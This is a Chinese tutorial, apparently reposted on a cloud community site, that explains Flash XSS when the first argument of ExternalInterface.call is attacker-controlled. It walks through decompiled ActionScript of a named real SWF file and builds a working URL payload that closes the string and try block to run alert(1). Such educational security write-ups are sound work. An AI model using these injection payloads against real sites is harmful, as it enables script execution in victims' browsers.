前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >那些年我们一起学XSS - 15. Flash Xss进阶 [ExternalInterface.call第一个参数]

那些年我们一起学XSS - 15. Flash Xss进阶 [ExternalInterface.call第一个参数]

作者头像
渗透攻击红队
发布2019-11-20 11:31:26
7510
发布2019-11-20 11:31:26
举报
文章被收录于专栏:漏洞知识库漏洞知识库
漏洞知识库

网络安全/渗透测试/代码审计/

关注

Flash Xss进阶 [ExternalInterface.call第一个参数]

代码语言:javascript
复制
除了上一节讲到的navigateToURL/getURL之外呢,另一个经常存在XSS缺陷的as函数就是ExternalInterface.call,此函数作为FLASH与宿主页面javascript通信的接口,一般来说,有“2”个参数,第一个参数为所调用js函数名,后续的其他参数则为所调用的js函数的参数。那么在参数可控的情况下,不论是第一个参数或是后续参数可控,我们均能加以利用实现XSS。本节先说一说第一个参数可控的情况。

1. 先从程序员的角度说下基础知识,有时候,我们需要在FLASH里调用当前页面中的javascript函数,例如:一个简单的需求,我们要在游戏加载完成后,执行弹出1的操作。 javascript代码:

代码语言:javascript
复制
alert(1)

as代码

代码语言:javascript
复制
ExternalInterface.call("alert","1");

2. 有的程序员就会觉得,直接弹出1太丑了吧。于是他自己写个js的函数

代码语言:javascript
复制
function myalert(str){
    //显示一个漂亮的浮动层,并且把str显示在上面。
}

然后在as里

代码语言:javascript
复制
ExternalInterface.call("myalert","1");

3. 又有一天,另外一个程序员觉得上面那个程序员写的东西不错,但是他的JS函数名不叫myalert,于是喊那个程序员改下as代码。于是那个程序员觉得,免得以后老是有人喊我改代码,他就将代码写成了下面这个样子。

代码语言:javascript
复制
var func:String=root.loaderInfo.parameters.func; //接受FLASH所带的func参数
ExternalInterface.call(func,"1");

这样一来,其他想用这个FLASH的人,不需要修改FLASH,只需要调用FLASH的时候带上参数即可。 比如我的JS函数是newalert, 我只需要按照下面这么调用:

代码语言:javascript
复制
http://some.com/xxx.swf?func=newalert

4. 上述过程提高了程序的可重用性,为开发人员带来了极大的便利,但是却是缺乏安全考虑的。 攻击者可以采用以下的方式来执行自己的代码 http://some.com/xxx.swf?func=(function(){alert("hi jack")})

5. 为了方便理解,我们可以将

代码语言:javascript
复制
ExternalInterface.call("函数名","参数1");

看成JS里的

代码语言:javascript
复制
函数名("参数1");

而FLASH里实际最后执行的JS代码,形式如下(至于下面这句哪里来的,暂时不表):

代码语言:javascript
复制
try { __flash__toXML(函数名("参数1")) ; } catch (e) { "<undefined/>"; }

因而 函数名 部分也可以写为 (function(){alert("hi jack")}) 的形式。 6. 上面说的是理论基础,有了这个基础,我们来看实例,就比较简单了。 http://quan.qq.com/swf/swfupload.swf 7. 怎么反编译,见上一篇。我们来看怎么查找缺陷。 8. 因为这是一个AS3.0的FLASH文件,我们首先确定FLASH是否有接受参数。 as3.0 接受参数的方法,所有参数存放在 root.loaderInfo.parameters 对象里。 例如 aaa.swf?a=1&b=2&c=3, 那么 root.loaderInfo.parameters 则等于 { "a":1, "b":2, "c":3 } 9. 我们可以定位到 movieName变量

可以看出,FLASH的movieName参数,存放到了this.movieName中。

10.进一步, this.movieName被带入了到了this.flashReady_Callback及其它变量。

代码语言:javascript
复制
this.flashReady_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].flashReady");

11. 我们再进一步看看,this.flashReady_Callback 被用到了哪里。

12. 再接着看看调用 this.flashReady_Callback 的Simple函数是啥样子的。

可以看到,最终这个参数被放到 ExternalInterface.call 的第一个参数中执行了。 13. 是不是很激动。我们来假设一下,按下面调用FLASH http://quan.qq.com/swf/swfupload.swf?movieName=aaaaaaaa 那么this.flashReady_Callback就等于以下内容。 SWFUpload.instances["aaaaaaaa"].flashReady 最终调用的是 ExternalInterface.call('SWFUpload.instances["aaaaaaaa"].flashReady'); 14. 如果我们要调用自己的JS代码,就需要构造闭合,但是你会发现有一定问题。。 我们最多能够造成下面的模样。

代码语言:javascript
复制
ExternalInterface.call('SWFUpload.instances["aaa"];function SWFUpload(){};SWFUpload["aaa"].flashReady');

但是这样是无法正确执行的,因为 SWFUpload.instances没有被定义,从而SWFUpload.instances["aaa"]会失败。 15. 怎么办呢?这里就要拿出我们第5步里的知识了。我们把“函数名”换成call的第一个参数内容。变成下面的形式。

代码语言:javascript
复制
try { __flash__toXML(SWFUpload.instances["aaaaaaaa"].flashReady("参数1")) ; } catch (e) { "<undefined/>"; }

我们再基于以上代码来构造,

代码语言:javascript
复制
try { __flash__toXML(SWFUpload.instances["aaa"])}catch(e){alert(1)};//"].flashReady("参数1")) ; } catch (e) { "<undefined/>"; }

图片解析:

上面一行不好看懂的话,写的好看点。

代码语言:javascript
复制
try {
	__flash__toXML(SWFUpload.instances["aaa"])   //此行代码,因为SWFUpload未定义,出错,跳转到catch部分
}catch(e){
	alert(1); //这里将会被执行。
};
//"].flashReady("参数1")) ; } catch (e) { "<undefined/>"; }

16. 最后,我们把构造的代码,放进FLASH的参数里

代码语言:javascript
复制
http://quan.qq.com/swf/swfupload.swf?movieName=aaa"])}catch(e){alert(1)};//

可以看到成功执行alert(1)

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-09-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 漏洞知识库 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档